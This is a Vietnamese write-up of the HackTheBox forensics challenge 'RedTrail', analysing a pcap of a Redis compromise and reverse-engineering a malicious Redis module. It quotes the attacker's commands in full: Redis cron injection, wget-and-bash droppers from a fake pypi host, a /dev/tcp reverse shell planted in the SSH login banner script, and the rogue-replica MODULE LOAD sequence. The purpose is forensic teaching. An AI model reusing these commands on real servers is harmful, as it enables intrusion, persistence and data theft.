1065 words
5 minutes
HackTheBox - RedTrail

RedTrail là một challenge của HackTheBox,

image

Đây là description của đề

Our SOC team detected a suspicious activity on one of our redis instance. Despite the fact it was password protected it seems that the attacker still obtained access to it. We need to put in place a remediation strategy as soon as possible, to do that it’s necessary to gather more informations about the attack used. NOTE: flag is composed by three parts.

oke cùng giải quyết nó nào

Initial Access#

Tải attachment, đề cho chúng ta một file .pcap, mở bằng nó bằng wireshark image

Chúng ta có thể thấy, có rất nhiều gói RESP (REdis Serialization Protocol), thì đây là một giao thức được thiết kế đặt biệt cho việc client-server communication trong Redis Mình sẽ để một số nguồn tham khảo cho các bạn muốn tìm hiểu sau về giao thức này: https://github.com/redis/redis-specifications/blob/master/protocol/RESP2.md https://redis-doc-test.readthedocs.io/en/latest/topics/protocol/)

Follow TCP Stream để xem cụ thể nội dung các gói này là gì

tcp.stream eq 0#

image

Ở stream 0 này, ta thấy attacker đã thực hiện xác thực thông qua lệnh AUTHpassword:1943567864 chứng tỏ attacker đã có được thông tin đăng nhập này bằng một cách nào đó (author không cho chúng ta context cụ thể ở phần này).

image

Sau khi có được quyền truy cập, attacker thực hiện hành vi reconnaissance server Redis

Screenshot 2026-01-09 222817

Credential Exfiltration#

tiếp theo, ta có thể thấy attacker đang enumeration và trích xuất các credential

image

và ở đây ta được Flag-part2: _c0uld_0p3n_n3w

image

ở đây ta thấy được attacker sử dụng các lệnh:

CONFIG SET DIR /var/spool/cron CONFIG SET DBFILENAME root

SET TY1RI8 * * * * * wget -O VgLy8V0Zxo 'http://files.pypi-install.com/packages/VgLy8V0Zxo' && bash VgLy8V0Zxo

từ đó ta biết được rằng attacker đang thực hiện việc inject vào cronjob để thực thi việc drop malware và persistence.

image

và vào phần export của wireshark, ta thấy được file bị inject vào, dump nó ra để phân tích thoi

image

ở đây shell chỉ thực hiện việc tách chuỗi thoi, không có gì khó để recover lại

image

ta thấy đoạn base64 này đang bị reverse thoi

Persistence#

image

sử dụng cyberchef để decode thì ta thấy nó đang thực hiện một bash script khác.

Thì bash script này cũng đang thực hiện việc nối các biến chứa chuỗi base64 rồi decode và gọi bash để thực thi, ta có thể viết lại như sau: image

ở đây chúng ta thấy rõ ràng persistence theo 2 hướng khác nhau:

Hướng 1: attacker sẽ ghi bash -c "bash -i >& /dev/tcp/10.10.0.200/1337 0>&1" vào file /etc/update-motd.d/00-header, thì file này sẽ được thực thi để print ra banner khi có người dùng kết nối và đăng nhập thông qua SSH. Vậy nên khi có người đăng nhập vào, thì server gửi một reverse shell về 10.10.0.200:1337 của attacker

Hướng 2: script sẽ ghi vào ~/.ssh/authorized_keys một key của attacker từ đó tạo thêm một backdoor khác mà attacker có thể dùng để access đến server victim.

Trong key này, ta cũng thấy được Flag-part1: HTB{r3d15_1n574nc35

Write malicious RDB & RCE:#

Đến với stream tiếp theo

image

image

image

Ta thấy attacker đang thực thi một số lệnh như: AUTH 1943567864 SLAVEOF 10.10.0.15 6379: cho phép attacker gửi file RDB tùy ý CONFIG SET DIR /data: CONFIG SET dbfilename x10SPFHN.so (Attacker chuẩn bị drop malicious Redis module) MODULE LOAD ./x10SPFHN.so: Redis load module độc hại SLAVEOF NO ONE, CONFIG SET dbfilename dump.rdb, system.exec rm -v ./x10SPFHN.so: Xóa dấu vết

Drop malware#

wget --no-check-certificate -O gezsdSC8i3 'https://files.pypi-install.com/packages/gezsdSC8i3' && bash gezsdSC8i3 : thể hiện rõ ràng hành vi drop và thực thi malware sau đó MODULE UNLOAD system: xóa dấu vết

image

oke nhìn vào các response của server, ta thấy output các lệnh RCE của attacker đã bị mã hóa.

Reverse Engineering#

Dump malicious .SO file#

image

Tiếp đến stream này, rõ ràng tác giả đã cố tình ép cho server phải FULLRESYNC, từ đó in ra đầy đủ file ELF, File này có thể chính là file x10SPFHN.so mà ta thấy đã bị write out ở stream trước.

Nhưng có một vấn đề là, do file này được đang được hiển thị thông replication payload, nên wireshark không hiểu được đây là một object file, nên sẽ không dump được theo cách thông thường.

để dump được, ta chuyển show data as thành raw, sao đó copy từ đoạn 7F 45 4c 46 (*ELF - đây là header của executable file)

image

sau đó dùng cyberchef để wrap lại thành file ELF hoàn chỉnh và save xuống. image

image

oke ngonn lành:>>

RE with IDA#

Oke giờ load file x10SPFHN.so vào IDA image

Toi cũng không biết tại sao file này lại không mở được tab Strings, thoi kệ, lướt chay xuống .rodata đọc luôn.

image

oke thì ở đây toi thấy được string system.exec, chính là lệnh mà attacker đã gọi ra để thực thi các lệnh RCE mà ta thấy ở stream 2

xem xrefs thì thấy nó đang được gọi ở hàm RedisModule_OnLoad image Tóm tắt thì trong sau khi Module độc hại sau khi được load thì sẽ đăng ký một command mới là system.exec, lệnh này nó sẽ gọi tới hàm DoCommand và nhận vào các tham số để thực thi theo cú pháp sau system.exec <args> image

oke tiếp theo thì phân tích hàm DoCommand

image

Ở biến command,nó sẽ giữ giá trị là lệnh hệ điều hành do attacker gửi vào Redis. Sau đó nó dùng popen() để thực thi lệnh này. Đọc stdout của command từng phần fgets sau đó wrap lại hoàn chỉnh toàn bộ output vào buffer dest => Remote Command Execution hoàn chỉnh.

image

Tiếp đến, script thực hiện setup mã hóa output của command bằng AES-256-CBC, với KEY và IV lần lượt là các biến srcv28 với giá trị là KEY = "h02B6aVgu09Kzu9QTvTOtgx9oER9WIoz", IV = "YDP7ECjzuV7sagMN"

image

sau khi đã mã hóa, nó dùng dòng lặp để duyệt và convert các byte đã được mã hóa sang string hex, và gọi hàm RedisModule_ReplyWithString() để gửi lại output đến Redis client

oke dựa vào quy trình mã hóa này cùng với KEY và IV, ta sẽ decrypt lại các output đã thấy ở stream 2 image

với các lệnh và output trên, ta lần lượt decrypt và đây là kết quả: image image

và đặt biệt, với lệnh: system.exec wget --no-check-certificate -O gezsdSC8i3 'https://files.pypi-install.com/packages/gezsdSC8i3' && bash gezsdSC8i3

image

thì có thể đoán được file gezsdSC8i3 mà attacker tải về và thực thi là để trích xuất các biến môi trường và trong các giá trị của biến môi trường này ta cũng có được FLAG-PART3:_un3xp3c73d_7r41l5!}

wrap 3 part lại, ta được flag hoàn chỉnh: HTB{r3d15_1n574nc35_c0uld_0p3n_n3w_un3xp3c73d_7r41l5!}

Cảm ơn mọi người đã đọc đến đây, chúc một ngày tốt lành

(\_/)
(•.•)
(>☕
–– SawG, a.k.a EagleBoiz

HackTheBox - RedTrail
https://sawg23.github.io/blog/posts/hackthebox/redtrails/
Author
SawG23
Published at
2026-01-14
License
CC BY-NC-SA 4.0